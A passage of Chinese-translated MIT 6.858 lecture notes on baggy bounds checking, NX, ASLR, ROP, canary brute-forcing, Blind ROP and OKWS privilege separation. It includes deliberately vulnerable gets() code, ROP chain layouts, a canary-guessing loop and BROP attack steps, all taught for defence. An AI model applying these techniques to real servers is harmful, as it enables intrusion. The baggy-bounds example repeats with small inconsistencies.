  • Trick 5: 使用虚拟内存系统来防止越界解引用:在 OOB 指针中设置最高有效位,然后将地址空间上半部分的页面标记为不可访问。这样,我们就不必对指针解引用进行检测以防止错误的内存访问!

示例代码(假设slot_size=16

 char *p = malloc(44);     //Note that the nearest power of 2 (i.e.,
                              //64 bytes) are allocated. So, there are
                              //64/(slot_size) = 4 bounds table entries
                              //that are set to log_2(64) = 6.

    char *q = p + 60;         //This access is ok: It's past p's object
                              //size of 44, but still within the baggy
                              //bounds of 64.
    char *r = q + 16;         //r is now at an offset of 60+16=76 from
                              //p. This means that r is (76-64)=12 bytes
                              //beyond the end of p. This is more than
                              //half a slot away, so baggy bounds will
                              //raise an error.

    char *s = q + 8;          //s is now at an offset of 60+8=68 from p.
                              //So, s is only 4 bytes beyond the baggy
                              //bounds, which is les than half a slot
                              //away. No error is raised, but the OOB
                              //high-order bit is set in s, so that s
                              //cannot be dereferenced.
    char *t = s - 32;         //t is now back inside the bounds, so
                              //the OOB bit is cleared. 

对于 OOB 指针,高位被设置(如果 OOB 在半个插槽内)。- 通常,操作系统内核位于上半部分,通过分页硬件保护自身。- 问: 为什么越界是半个插槽?

那么作业问题的答案是什么?

 char *p = malloc(256);
    char *q = p + 256;
    char ch = *q;  // Does this raise an exception?
                   // Hint: How big is the baggy bound for p? 

Baggy bounds 论文勘误

Baggy bounds 论文中的一些错误:

  • 图 3,显式边界检查应该生成如下大小:

    • size = 1 << table[p >> log_of_slot_size]
  • 图 3,优化的边界检查应该是:

    • (p^p') >> table[p >> log_of_slot_size] == 0
  • 图 5 和 18,指针算术代码应该是以下之一:

    • char *p = &buf[i];

    • char *p = buf + i;

Baggy bounds(续)

注意: 这些讲座笔记是从 2014 年 6.858 课程网站上发布的笔记中稍作修改而来。

示例代码:(假设slot_size = 16

 char *p = malloc(44); // Note that the nearest power of 2 (i.e.,
                          // 64 bytes) are allocated. So, there are
                          // 64/(slot_size) = 4 bounds table entries
                          // that are set to log_2(64) = 6.
    char *q = p + 60;     // This access is ok: It's past p's object
                          // size of 44, but still within the baggy
                          // bounds of 64.
    char *r = q + 16;     // ERROR: r is now at an offset of 60+16=76
                          // from p. This means that r is (76-64)=12
                          // beyond the end of p. This is more than
                          // half a slot away, so baggy bounds will
                          // raise an error.
    char *s = q + 8;      // s is now at an offset of 60+8=68 from p.
                          // So, s is only 4 bytes beyond the baggy
                          // bounds, which is less than half a slot
                          // away. No error is raised, but the OOB
                          // high-order bit is set in s, so that s
                          // cannot be derefernced.
    char *t = s - 32;     // t is now back inside the bounds, so
                          // the OOB bit is cleared. 

对于越界指针,高位被设置(如果在半个插槽内越界)。

  • 通常,操作系统内核位于上半部分,通过分页硬件保护自身。

  • Q: 为什么要为越界分配半个插槽?

那么作业问题的答案是什么?

 char *p = malloc(255);
    char *q = p + 256;
    char ch = *q;  // Does this raise an exception?
                   // Hint: How big is the baggy bound for p? 

宽松边界检查是否必须检测每个内存地址计算和访问?

  • ,静态分析可以证明某些地址始终是安全的。但是,某些地址计算是“不安全”的,因为无法静态确定其值的边界。这些不安全的变量需要检查。

处理函数调用参数有点棘手,因为 x86 调用约定是固定的,即硬件期望栈上的某些内容放在特定位置。

  • 但是,我们可以将不安全的参数复制到一个单独的区域,并确保复制的参数对齐和受保护。

  • Q: 我们是否必须在函数返回时用复制的值覆盖原始参数?

  • A: 不,因为在 C 语言中一切都是按值传递的!

宽松边界检查如何确保与现有库的二进制兼容性?

特别是,宽松边界代码如何与由未经检测的代码分配的内存指针交互?

  • 解决方案: 边界表中的每个条目都初始化为值 31,这意味着相应的指针具有 2³¹ 的内存边界(这是所有可寻址内存)。

    • 经过检测的代码中进行内存分配时,边界条目如前所述设置,并在释放内存时重置为 31。

    • 分配给未经检测的代码的内存永远不会改变边界表条目的默认值 31;因此,当经过检测的代码与这些指针交互时,边界错误永远不会发生

例子:

 Contiguous range of
    memory used for the
    heap

    +-------------------+
    |                   |
    |                   |
    | Heap allocated by |
    |   uninstrumented  |---+
    |       code        |    \      Bounds table
    |                   |     \
    +-------------------+      \   +-----------+
    |                   |       +->|           |
    |                   |          | Always 31 |
    | Heap allocated by |          |           |
    | instrumented code |          +-----------+
    |                   |          | Set using |
    |                   |--------->| baggy bnds|
    +-------------------+          +-----------+ 
  • 这一切意味着什么?

    • 无法检测在未经检测的代码中生成的越界指针。

    • 无法检测传递给库的越界指针何时再次进入边界内。

      • Q: 为什么?

      • A: 因为未经检测的代码中没有指针检查可以清除高位越界位!

      • Q: 为什么要检测strcpy()memcpy()

      • A: 否则,这些函数就是未经检测的代码,并且会遇到我们刚刚讨论过的相同问题。例如,现成的strcpy()不能确保目标有足够的空间来存储源!

宽松位如何利用 64 位地址空间?

可以摆脱存储边界信息的表,并将其放入指针中。

 Regular pointer       
    +---------------+-------+------------------------+
    |      zero     |  size |   supported addr space |
    +---------------+-------+------------------------+
            21          5             38

  OOB pointer
    +--------+------+-------+------------------------+
    | offset | size |  zero |   supported addr space |
    +--------+------+-------+------------------------+
        13      5       8             38 

这类似于一个胖指针,但具有以下优点……

  1. 标记指针与常规指针大小相同

  2. 对它们的写入是原子的

……以便不破坏程序员的期望,并且数据布局保持不变。

还要注意,使用标记指针,我们现在可以跟踪远离基本指针多得多的越界指针。这是因为现在我们可以使用偏移量标记指针,指示它们距离基本指针有多远。在 32 位世界中,如果没有额外的数据结构,我们无法跟踪越界偏移量!

在 baggy bounds 系统中仍然可以发动缓冲区溢出攻击吗?

是的,因为这个世界充满了悲伤。

  • 可能会利用未经检测的库中的漏洞。

  • 可能会利用时间漏洞(使用后释放)。

  • 混合缓冲区和代码指针

例子:

 struct {
        char buf[256];
        void (*f) (void);
    } my_type; 

请注意*f不是分配的类型,因此在调用期间与其解引用相关联的边界检查不存在。因此,如果s.buf溢出(例如,由未经检测的库中的错误引起),并且s.f被损坏,那么对f的调用不会导致边界错误!

重新排列 f 和 buf 会有帮助吗?

  • 可能会破坏依赖结构布局的应用程序。

  • 如果这是一个(struct my_type)数组,可能不会有帮助。

一般来说,边界检查的成本是什么?

  • 边界信息的空间开销(胖指针或 baggy bounds 表)。

  • Baggy bounds 还会为 buddy 分配器使用的额外填充内存增加空间开销(尽管所有流行的动态内存分配算法都会有一定程度的开销)。

  • 指针算术和解引用的 CPU 开销。

  • 虚警!

    • 未使用的越界指针。

    • 临时超出边界指针超过slot_size/2

    • 指针到整数的转换和反向转换。

    • 将越界指针传递给未经检查的代码(高地址位被设置,因此如果未经检查的代码使用该指针进行算术运算,可能会导致混乱)。

  • 需要大量编译器支持。

因此,baggy bounds 检查是一种减轻有缺陷代码中缓冲区溢出的方法。

实现边界检查的更多方法

方法 4:非可执行内存(AMD 的 NX 位,Windows DEP,W^X 等)

  • 现代硬件允许为内存指定读取、写入和执行权限。(R、W 权限很久以前就有了;执行权限是最近才有的。)

  • 可以将堆栈标记为不可执行,这样对手就无法运行他们的代码。

  • 更一般地,一些系统执行“W^X”,意味着所有内存要么可写,要么可执行,但不能同时。 (当然,既不可写也不可执行也是可以的。)

    • 优势: 可能无需进行任何应用程序更改即可运行。

    • 优势: 硬件一直在监视你,不像操作系统。

    • 缺点: 动态生成代码更困难(尤其是使用 W^X)。

      • 像 Java 运行时、Javascript 引擎这样的 JIT 会即时生成 x86 代码。

      • 可以通过先写入,然后更改为可执行来解决问题。

方法 5:随机化内存地址(ASLR,堆栈随机化等)

  • 观察:许多攻击在 shellcode 中使用硬编码地址![攻击者抓取一个二进制文件并使用 gdb 来找出东西的位置。]

  • 因此,我们可以使攻击者难以猜测有效的代码指针。

    • 堆栈随机化:将堆栈移动到随机位置,并/或在堆栈变量之间放置填充。这使得攻击者更难确定:

      • 当前帧的返回地址位于何处

      • 攻击者的 shellcode 缓冲区将位于何处

    • 随机化整个地址空间(地址空间布局随机化):随机化堆栈、堆、DLL 的位置等。

      • 依赖于很多代码是可重定位的这一事实。

      • 动态加载器可以为每个库、程序选择随机地址。

      • 对手不知道 system()等函数的地址。

    • 这仍然可以被利用吗?

      • 对手可能猜测随机性。特别是在 32 位机器上,没有太多的随机位(例如,1 位属于内核/用户模式划分,12 位不能被随机化,因为内存映射页面需要与页面边界对齐等)。

      • 例如,攻击者可能进行缓冲区溢出并尝试用usleep(16)的地址覆盖返回地址,然后查看连接是否在 16 秒后挂起,或者是否崩溃(在这种情况下,服务器会使用相同的 ASLR 偏移量 fork 一个新的 ASLR 进程)。 usleep()可能在 2¹⁶ 或 2²⁸ 个地方之一。更多细节

      • ASLR 在 64 位机器上更实用(很容易有 32 位的随机性)。

  • 对手可能提取随机性。

    • 程序可能生成包含指针的堆栈跟踪或错误消息。

    • 如果对手可以运行一些代码,他们可能能够提取真实地址(JIT 编译的代码?)。

    • Flash 的字典(哈希表)中的可爱地址泄漏:

      • 让受害者访问您的 Flash 启用页面(例如,购买广告)。

      • 哈希表在内部计算键的哈希值。

      • 整数的哈希值是整数本身。

      • 对象的哈希值是其内存地址。

      • 遍历哈希表是从最低哈希键到最高哈希键进行的。

      • 因此,攻击者创建一个字典,插入一个包含 shellcode 的字符串对象,然后向字典中插入一堆数字。

      • 通过遍历字典,攻击者可以确定字符串对象位于何处,看看对象引用落在哪些整数之间!

      • 现在,用 shellcode 地址覆盖代码指针并绕过 ASLR!

  • 对手可能不关心确切要跳转到哪里。

    • 例如:"堆喷洒":填充内存以便随机跳转是可以的!
  • 对手可能利用一些未随机化的代码(如果存在这样的代码)。

  • 随机化的一些其他有趣用途:

    • 系统调用随机化(每个进程有自己的系统调用号码)。

    • 指令集随机化,以便攻击者不能轻易确定特定程序实例的"shellcode"是什么样子。

      • 例子: 想象一下,处理器有一个特殊的寄存器来保存“解码密钥”。每个特定应用程序的安装都与一个随机密钥相关联。应用程序中的每条机器指令都与该密钥进行异或运算。当操作系统启动进程时,它设置解码密钥寄存器,处理器使用此密钥解码指令后再执行它们。

实际上使用了哪些缓冲区溢出防御措施?

  • gcc 和 MSVC 默认启用栈保护。

  • Linux 和 Windows 默认包含 ASLR 和 NX。

  • 由于:

    • 性能开销

    • 需要重新编译程序

    • 误报:安全工具中的常见主题:误报阻止了工具的采用!通常,一些遗漏但没有误报比零遗漏但有误报更好。

返回导向编程(ROP)

ASLR 和 DEP 是非常强大的防御技术。

  • DEP 防止攻击者执行自己选择的栈代码。

  • ASLR 可以防止攻击者确定 shellcode 或返回地址的位置。

  • 但是,如果攻击者能够找到位于已知位置的具有已知功能的预先存在的代码呢?那么,攻击者可以调用该代码来做坏事。

    • 当然,预先存在的代码并不是故意恶意,因为它是应用程序的正常部分。

    • 但是,攻击者可以传递意外的参数给该代码,或者跳转到代码的中间并仅执行该代码的所需部分。

这种攻击称为返回导向编程,或ROP。为了理解 ROP 的工作原理,让我们看一个具有安全漏洞的简单 C 程序。示例改编自此处

 void run_shell(){
        system("/bin/bash");
    }

    void process_msg(){
        char buf[128];
        gets(buf);
    } 

假设系统不使用 ASLR 或栈保护,但使用了 DEP。process_msg()存在明显的缓冲区溢出,但攻击者无法利用此溢出在buf中执行 shellcode,因为 DEP 使栈不可执行。然而,run_shell()函数看起来很诱人... 攻击者如何执行它?

  • 攻击者反汇编程序并找出run_shell()的起始地址在哪里。

  • 攻击者发起缓冲区溢出,并用run_shell()的地址覆盖process_msg()的返回地址。砰!攻击者现在可以访问以应用程序权限运行的 shell。

例子:

 +------------------+
    entry %ebp ----> | .. prev frame .. |
                     |                  |  
                     |                  |
                     +------------------+
    entry %esp ----> |  return address  | ^    <--Gets overwritten 
                     +------------------+ |       with address of
    new %ebp ------> |    saved %ebp    | |       run_shell()
                     +------------------+ |
                     |     buf[127]     | |
                     |       ...        | |
                     |      buf[0]      | |
    new %esp ------> +------------------+ 

这是我们已经看过的缓冲区溢出的直接扩展。但是我们如何向我们要跳转到的函数传递参数呢?

 char *bash_path = "/bin/bash";

   void run_cmd(){
       system("/something/boring");
   }

   void process_msg(){
       char buf[128];
       gets(buf);
   } 

在这种情况下,我们要传递的参数已经位于程序代码中。程序中还存在一个对system()的调用,但该调用并未传递我们想要的参数。

我们知道system()必须与我们的程序链接。因此,使用我们可靠的朋友 gdb,我们可以找到system()函数的位置以及 bash_path 的位置。

要使用bash_path参数调用system(),我们必须设置堆栈,以便在跳转到它时,system()期望堆栈上有这些内容:

 |        ...       |
                 +------------------+
                 |     argument     |  The system() argument.
                 +------------------+
    %esp ---->   |    return addr   |  Where system() should 
                 +------------------+  ret after it has
                                       finished. 

因此,缓冲区溢出需要设置一个看起来像这样的堆栈:

 +------------------+
    entry %ebp ----> | .. prev frame .. |
                     |                  |
                     |                  |
                     | *  - - - - - - - | ^
                     |                  | | Address of bash_path 
                     + *  - - - - - - - | |
                     |                  | | Junk return addr for system()
                     +------------------+ |
    entry %esp ----> |  return address  | | Address of system()
                     +------------------+ | 
    new %ebp ------> |    saved %ebp    | | Junk
                     +------------------+ |
                     |     buf[127]     | |
                     |       ...        | | Junk
                     |      buf[0]      | |
    new %esp ------> +------------------+ | 

本质上,我们所做的是为system()调用设置了一个虚假的调用帧!换句话说,我们模拟了编译器如果真的想要设置一个对system()的调用会做什么。

如果字符串"/bin/bash"不在程序中怎么办?

  • 我们可以将该字符串包含在缓冲区溢出中,然后使system()的参数指向该字符串。

     |    h\0           | ^
                     | *  - - - - - - - | |
                     |    /bas          | |
                     | *  - - - - - - - | |
                     |    /bin          | |  <--------------------+
                     | *  - - - - - - - | |                       |
                     |                  | | Address of bash_path--+
                     + *  - - - - - - - | |
                     |                  | | Junk return addr from system()
                     +------------------+ |
    entry %esp ----> |  return address  | | Address of system()
                     +------------------+ | 
    new %ebp ------> |    saved %ebp    | | Junk
                     +------------------+ |
                     |     buf[127]     | |
                     |       ...        | | Junk
                     |      buf[0]      | |
    new %esp ------> +------------------+ | 
    

请注意,在这些示例中,我一直假设攻击者使用了来自system()的无用返回地址。然而,攻击者也可以将其设置为有用的内容。

实际上,通过将其设置为有用的内容,攻击者可以链接调用在一起!

目标:我们想要多次调用system("/bin/bash")。假设我们找到了三个地址:

  • system()的地址

  • 字符串"/bin/bash"的地址

  • 这些 x86 操作码的地址:

     pop %eax    //Pops the top-of-stack and puts it in %eax
      ret         //Pops the top-of-stack and puts it in %eip 
    

这些操作码是“小工具”的一个示例。小工具是预先存在的指令序列,可以串联在一起创建一个利用。请注意,有一些用户友好的工具可以帮助您从现有二进制文件中提取小工具(例如,msfelfscan)。

 |                  | ^
                     + *  - - - - - - - + |
                     |                  | | Address of bash_path -+ Fake calling
                     + *  - - - - - - - + |                       | frame for
         (4)         |                  | | Address of pop/ret  * + system()
                     + *  - - - - - - - + | 
         (3)         |                  | | Address of system()
                     + *  - - - - - - - + |
         (2)         |                  | | Address of bash_path -+ Fake calling
                     + *  - - - - - - - + |                       | frame for
         (1)         |                  | | Address of pop/ret  * + system()
                     +------------------+ |
    entry %esp ----> |  return address  | | Address of system()
                     +------------------+ | 
    new %ebp ------> |    saved %ebp    | | Junk
                     +------------------+ |
                     |     buf[127]     | |
                     |       ...        | | Junk
    new %esp ------> |      buf[0]      | |
                     +------------------+ | 

那么,这是如何工作的呢?记住,返回指令弹出栈顶并将其放入%eip。

  • 溢出的函数通过发出ret来终止。ret弹出栈顶(system()的地址)并将%eip设置为它。system()开始执行,%esp现在在(1),并指向pop/ret小工具。

  • system()执行完毕并调用ret%esp从(1)->(2),因为ret指令弹出栈顶并将其分配给%eip%eip现在是pop/ret小工具的开始。

  • pop/ret小工具中的 pop 指令从栈中丢弃bash_path变量。%esp现在在(3)。我们仍然在pop/ret小工具中!

  • pop/ret小工具中的ret指令弹出栈顶并将其放入%eip。现在我们再次在system()中,并且%esp在(4)。

等等。

基本上,我们创建了一种新类型的机器,它由堆栈指针驱动,而不是常规指令指针!随着堆栈指针沿着堆栈移动,它执行的小工具的代码来自预先存在的程序代码,数据来自缓冲区溢出创建的堆栈数据。

这种攻击规避了 DEP 保护--我们没有生成任何新代码,只是调用了现有的代码!

栈读取:打败金丝雀

假设:

  • 远程服务器存在缓冲区溢出漏洞。

  • 服务器崩溃并重新启动,如果金丝雀值设置为不正确的值。

  • 当服务器重新启动时,canary 不会重新随机化,ASLR 也不会重新随机化,例如,因为服务器使用 Linux 的 PIE 机制,并且使用 fork() 来创建新的工作进程而不是 execve()

因此,要确定一个 8 字节的 canary 值:

 char canary[8];
    for(int i = 1; i <= 8; i++){  //For each canary byte . . .
        for(char c = 0; c < 256; c++){  //. . . guess the value.
            canary[i-1] = c;
            server_crashed = try_i_byte_overflow(i, canary);
            if(!server_crashed){
                //We've discovered i-th byte of the
                //the canary!
                break;
            }
        }
    } 

此时我们已经有了 canary,但请记住,该攻击假设服务器在崩溃后使用相同的 canary。

猜测一个字节的正确值平均需要 128 次猜测,因此在 32 位系统上,我们只需要 4*128=512 次猜测来确定 canary(在 64 位系统上,我们需要 8*128=1024 次)。

  • 比在 canary 上进行暴力破解攻击要快得多(在具有 16/28 位 ASLR 随机性的 32/64 位系统上,预期猜测次数为 2¹⁵2²⁷)。

  • 暴力破解攻击可以使用我们之前讨论过的 usleep(16) 探测。

  • Canary 读取可以扩展到读取缓冲区溢出可以覆盖的任意值!

因此,我们已经讨论了如果服务器在重新生成时不更改 canaries,我们如何能够击败随机化的 canaries。我们还展示了如何使用 gdb 和 gadgets 来执行程序中预先存在的函数,使用攻击者控制的参数。但是如果服务器使用 ASLR 呢?这将阻止您使用离线分析来找到预先存在的函数的位置?

这就是今天讲座论文讨论的内容。该论文假设我们使用的是 64 位机器,所以从现在开始,在本讲座中我们也将假设如此。在这次讨论中,主要的变化是函数参数现在是通过寄存器传递而不是通过栈传递。

盲目返回导向编程

步骤 1:找到一个 stop gadget

  • stop gadget 是指指向会挂起程序但不会崩溃的代码的返回地址。

  • 一旦攻击者能够击败 canaries,他就可以覆盖溢出函数的返回地址并开始猜测 stop gadget 的位置。如果客户端网络连接突然关闭,猜测的地址不是 stop gadget。如果连接保持打开,那么该 gadget 就是 stop gadget。

步骤 2:找到弹出栈中条目的 gadgets

  • 一旦你有了一个 stop gadget,你可以用它来找到其他将栈中条目弹出并存入寄存器的 gadgets。

  • 定位栈弹出 gadgets 的三个构建块:

    • probe: 潜在的栈弹出 gadget 的地址

    • stop: stop gadget 的地址

    • crash: 非可执行代码的地址(0x0)

示例: 找到一个弹出栈中一个元素的 gadget。

 sleep(10)
                          ^       ^
    +--- pop rax         /         \
    |    ret            /           \
    |     \--->[stop]  0x5....     0x5....
    |          [trap]  0x0         0x0    <-----------------+
    +----------[probe] 0x4...8     0x4...c -->xor rax, rax  | Crash!
                                              ret           |
                                                 \__________| 

当你这样做很多次后,你将拥有一系列弹出栈中一个元素然后返回的 gadgets。然而,你不会知道这些 gadgets 将弹出的值存储在哪个 寄存器 中。

  • 你需要知道哪些寄存器用于存储数据,以便您可以发出系统调用。每个系统调用都期望其参数在一组特定的寄存器中。

  • 请注意,我们也不知道 syscall() 库函数的位置。

步骤 3:找到 syscall() 并确定 pop gadgets 使用哪些寄存器

  • pause()是一个不带参数的系统调用(因此忽略寄存器中的所有内容)。

  • 要找到pause(),攻击者在栈上链接所有的"pop x; ret"小工具,将pause()的系统调用号作为每个小工具的"参数"推送进去。在链的底部,攻击者放置了syscall()的猜测地址。

     |                  | ^
                     + *  - - - - - - - + |
                     |                  | | Guessed addr of syscall() 
                     + *  - - - - - - - + | 
                     |                  | | ...
                     + *  - - - - - - - + | 
                     |                  | | Sys call # for pause
                     + *  - - - - - - - + |
                     |                  | | Address of pop rsi; ret //Gadget 2
                     + *  - - - - - - - + | 
                     |                  | | Sys call # for pause
                     +------------------+ |
    entry %esp ----> |  return address  | | Address of pop rdi; ret //Gadget 1
                     +------------------+ | 
    new %ebp ------> |    saved %ebp    | | Junk
                     +------------------+ |
                     |     buf[127]     | |
                     |       ...        | | Junk
    new %esp ------> |      buf[0]      | |
                     +------------------+ | 
    

因此,在这个链的末端,弹出小工具已经将pause()的系统调用号放入了一堆寄存器中,希望包括rax,这是syscall()查找系统调用号的寄存器。

一旦这个超级小工具引发了暂停,我们就知道已确定了syscall()的位置。现在我们需要确定哪个小工具将栈顶弹出到rax中。攻击者可以通过逐步尝试一个小工具并查看是否可以调用pause()来弄清楚这一点。

要识别任意的"pop x; ret"小工具,可以使用与您试图找到的x寄存器相关的其他系统调用的技巧。

因此,这个阶段的结果是知道"pop x; ret"小工具,syscall()的位置。

第 4 步:调用 write()

现在我们想要在服务器与攻击者客户端之间的网络套接字上调用写入调用。我们需要以下小工具:

 pop rdi; ret (socket)
    pop rsi; ret (buffer)
    pop rdx; ret (length)
    pop rax; ret (write syscall number)
    syscall 

我们必须猜测套接字的值,但这在实践中相当容易,因为 Linux 将进程限制为同时打开 1024 个文件描述符,并且新文件描述符必须是可用的最低文件描述符(因此猜测一个小文件描述符在实践中效果很好)。

要测试我们是否猜对了文件描述符,只需尝试写入并查看是否收到任何内容!

一旦我们有了套接字号码,我们发出一个写入请求,发送的数据是指向程序的.text段的指针!这使得攻击者可以读取程序的代码(虽然已随机化,但现在完全为攻击者所知!)。现在攻击者可以直接找到更强大的小工具,并利用这些小工具打开一个 shell。

防御 BROP 攻击

  • 每次崩溃后重新随机化 canaries 和地址空间!

    • 使用exec()代替fork()来创建进程,因为fork()会将父进程的地址空间复制给子进程。

    • 有趣的是,Windows 不容易受到 BROP 攻击的影响,因为 Windows 没有fork()的等效功能。

  • 崩溃后休眠?

    • 现在 BROP 攻击是一种拒绝服务攻击!
  • 边界检查?

    • 高达 2 倍的性能开销...

有关 ROP 和 x86 调用约定的更多信息

OKWS

注意: 这些讲座笔记略有修改,来自 2014 年 6.858 课程网站上发布的笔记。

今天的讲座:如何在 Unix 上构建一个安全的 Web 服务器。我们实验室 Web 服务器 zookws 的设计灵感来自于 OKWS。

特权分离

  • 大型安全理念

  • 将系统分割成各自具有特权的模块

    • 想法: 如果一个模块被破坏,那么其他模块就不会被破坏
  • 经常使用:

    • 虚拟机(例如,在自己的虚拟机中运行网站)

    • SSH(分离 sshd、agent)

  • 挑战:

    • 模块需要共享

    • 需要操作系统支持

    • 需要仔细使用操作系统正确设置事物

    • 性能

OKWS

  • 特权分离的有趣案例研究

    • 服务之间有很多共享

      • 严格的分区不起作用
    • 大量的代码

  • 在 OKcupid 之外并不广泛使用

    • 许多网站都有他们的特权分离计划

    • 但没有描述他们计划的论文

背景:Unix 中的安全和保护

  • 典型的主体:用户 ID、组 ID(32 位整数)。

    • 每个进程都有一个用户 ID(uid)和一组组 ID(gid + grouplist)。

    • 出于大多是历史原因,一个进程有一个 gid +额外的组列表。

    • 超级用户主体(root)由uid=0表示,绕过大多数检查。

  • Unix 中的对象+操作是什么,操作系统如何进行访问控制?

    • 文件、目录。

      • 文件操作:读、写、执行、更改权限,..

      • 目录操作:查找、创建、删除、重命名、更改权限,..

      • 每个 inode 都有一个所有者用户和组。

      • 每个 inode 对于用户、组、其他人都有读、写、执行权限。

      • 通常表示为写入基数 8(八进制)的位向量;

        • 八进制很好用,因为每个数字是 3 位(读、写、执行)。
      • 谁可以更改文件的权限?

        • 只有用户所有者(进程 UID)。
      • 对文件进行硬链接:需要对文件有写权限。

        • 可能的理由:配额。

        • 可能的理由:防止将/etc/passwd硬链接到具有全局可写/var/mail/var/mail/root

      • 目录的执行意味着能够查找名称(但不能 ls)。

      • 检查进程打开文件/etc/passwd

        • 必须能够在/中查找'etc',在/etc中查找'passwd'

        • 必须能够打开/etc/passwd(读或读写)。

      • 假设你想要文件对 group1 和 group2 的交集可读。

        • 在 Unix 中是否可能实现这一点?
    • 文件描述符。

      • 文件打开时执行的文件访问控制检查。

      • 一旦进程有一个打开的文件描述符,就可以继续访问。

      • 进程可以传递文件描述符(通过 Unix 域套接字)。

    • 进程。

      • 你可以对一个进程做什么?

        • 调试(ptrace),发送信号,等待退出并获取状态,
      • 调试,发送信号:必须具有相同的 UID(几乎)。

        • 各种例外,在实践中这变得棘手。
      • 等待/获取退出状态:必须是该进程的父进程。

    • 内存。

      • 一个进程通常不能命名另一个进程的内存。

      • 例外:调试机制。

      • 例外:内存映射文件。

    • 网络。

      • 操作。

        • 绑定到一个端口。

        • 连接到某个地址。

        • 读/写连接。

        • 发送/接收原始数据包。

      • 规则:

        • 只有 root(UID 0)可以绑定到低于 1024 的端口;

        • (例如,任意用户不能在端口 80 上运行 Web 服务器。)

        • 只有 root 可以发送/接收原始数据包。

        • 任何进程都可以连接到任何地址。

        • 只能读取/写入进程具有文件描述符的连接上的数据。

      • 此外,防火墙施加自己的检查,与进程无关。

  • 进程的主体是如何设置的?

    • 系统调用:setuid()setgid()setgroups()

    • 只有 root(UID 0)可以调用这些系统调用(粗略估计)。

  • 用户 ID、组 ID 列表从哪里获取?

    • 在典型的 Unix 系统上,登录程序以 root(UID 0)身份运行。

    • 检查提供的用户密码是否与/etc/shadow中的匹配。

    • 根据/etc/passwd找到用户的 UID。

    • 根据/etc/group找到用户的组。

    • 在运行用户的 shell 之前调用setuid()setgid()setgroups()

  • 在切换到非 root 用户后如何重新获得权限?

    • 可以使用文件描述符传递(但必须编写专门的代码)

    • 内核机制:setuid/setgid 二进制文件

      • 当执行二进制文件时,将进程 UID 或 GID 设置为二进制文件所有者。

      • 通过文件权限中的特殊位指定。

      • 例如,su / sudo 二进制文件通常是 setuid root。

      • 即使您的 shell 不是 root,也可以运行"su otheruser"

      • su 进程会检查密码,如果正确则以otheruser身份运行 shell。

      • Unix 上有许多这样的程序,因为通常需要 root 权限。

    • 为什么 setuid 二进制文件在安全方面可能是个坏主意?

      • 对手(二进制调用者)操纵进程的许多方法。

      • 在 Unix 中,执行的进程会继承环境变量、文件描述符等。

      • setuid 程序可能使用的库不够谨慎

      • 历史上存在许多漏洞(例如传递$LD_PRELOAD,..)

  • 如何防止恶意程序利用 setuid-root 二进制文件?

    • 内核机制:chroot

      • 通过路径名打开文件时更改/的含义。

      • 不能在 chroot 树之外命名文件(例如 setuid 二进制文件)。

    • 例如,OKWS 使用 chroot 将程序限制在/var/okws/run中,..

    • 内核还确保/../不允许从 chroot 中逃脱。

    • 为什么只允许 root 使用 chroot?

      • setuid 二进制文件(如su)可能会混淆/etc/passwd的内容。

      • 许多内核实现(无意中?)允许递归调用chroot()以从 chroot 监狱中逃脱,因此 chroot 对于以 root 身份运行的进程来说不是一种有效的安全机制。

    • 为什么 chroot 没有被修复以限制根进程在该目录中?

      • Root 可以写入内核内存,加载内核模块,访问磁盘扇区,..

背景:传统的 Web 服务器架构(Apache)

  • Apache 运行N个相同的进程,处理 HTTP 请求。

  • 所有进程都以用户'www'身份运行。

  • 应用程序代码(例如 PHP)通常在每个N个 Apache 进程中运行。

  • 任何对操作系统状态(文件、进程等)的访问都由www的 UID 执行。

  • 存储:SQL 数据库,通常一个连接具有对整个数据库的完全访问权限。

    • 数据库主体是整个应用程序。
  • 问题:如果任何组件被攻破,对手将获得所有数据。

  • Web 应用可能会发生哪种攻击?

    • 无意中的数据泄露(获取页面源代码,隐藏文件,..)

    • 远程代码执行(例如,Apache 中的缓冲区溢出)

    • 有 bug 的应用程序代码(难以编写安全的 PHP 代码),例如 SQL 注入

    • 对 Web 浏览器的攻击(跨站脚本攻击)

回到 OKWS:他们的应用/动机是什么?

  • 约会网站:担心数据保密性。

  • 不太担心对手闯入并发送垃圾邮件。

  • 大量的服务器端代码执行:匹配,配置文件更新,...

  • 必须在用户之间共享(例如匹配)-- 不能只是分区。

  • 对整体计划的良好总结:

    • "最容易受攻击的方面对攻击者最无用"

为什么这么难?

  • Unix 使降低权限变得棘手(chroot,UID,..)

  • 应用程序需要以复杂的方式共享状态。

  • Unix 和 SQL 数据库没有细粒度的共享控制机制。

OKWS 如何分割 Web 服务器?

  • 论文中的图 1。

  • 这个 Web 服务器中的请求是如何流动的?

    • okd -> oklogd

      • -> pubd

      • -> svc -> dbproxy

      • -> oklogd

  • 这种设计如何映射到物理机器?

    • 可能有许多前端机器(okldokdpubdoklogdsvc

    • 几台 DB 机器(dbproxy,DB)

这些组件如何互动?

  • okld为每个服务设置socketpairs(双向管道)。

    • 一个用于控制 RPC 请求的套接字对(例如,“获取新的日志套接字对”)。

    • 用于日志记录的一个套接字对(okld首先通过 RPC 从oklogd获取它)。

    • 对于 HTTP 服务:一个用于转发 HTTP 连接的套接字对。

    • 对于okd:HTTP 服务的套接字对的服务器端 FD(HTTP+RPC)。

  • okd监听一个单独的套接字以接收控制请求(repubrelaunch)。

    • 在图 1 中似乎是端口 11277,但在 OKWS 代码中是 Unix 域套接字。

    • 对于repubokdpubd通信以生成新模板,

      • 然后通过 RPC 控制通道将生成的模板发送给每个服务。
  • 服务通过 TCP 与 DB 代理通信(通过端口号连接)。

OKWS 如何在图 1 中的组件之间强制隔离?

  • 每个服务作为单独的 UID 和 GID 运行。

  • chroot 用于将每个进程限制在单独的目录中(几乎)。

  • 组件通过管道(或者说 Unix 域套接字对)进行通信。

  • 用于传递 HTTP 连接的文件描述符传递。

  • okld的目的是什么?

  • 为什么okld不同于okd

  • 为什么okld需要以 root 身份运行?(端口 80,chroot/setuid。)

  • okld启动服务需要什么?

    • 创建套接字对

    • 获取新的oklogd套接字

    • forksetuid/setgidexec服务

    • 将控制套接字传递给okd

  • oklogd的目的是什么?

  • pubd的目的是什么?

  • 为什么我们需要数据库代理?

    • 确保每个服务在受损时无法获取其他数据。

      • DB 代理协议由应用程序开发人员定义,取决于应用程序的要求。

      • 一个可能常见的代理类型是模板化的 SQL 查询。

      • 代理强制执行整体查询结构(选择、更新),

        • 但允许客户端填写查询参数。
    • 20 字节令牌是从哪里来的?

      • 作为服务的参数传递。
    • 谁检查令牌?

      • DB 代理有令牌列表(和允许的查询?)。
    • 谁生成令牌?

      • 不清楚;系统管理员手动?
    • 令牌泄露会怎样?

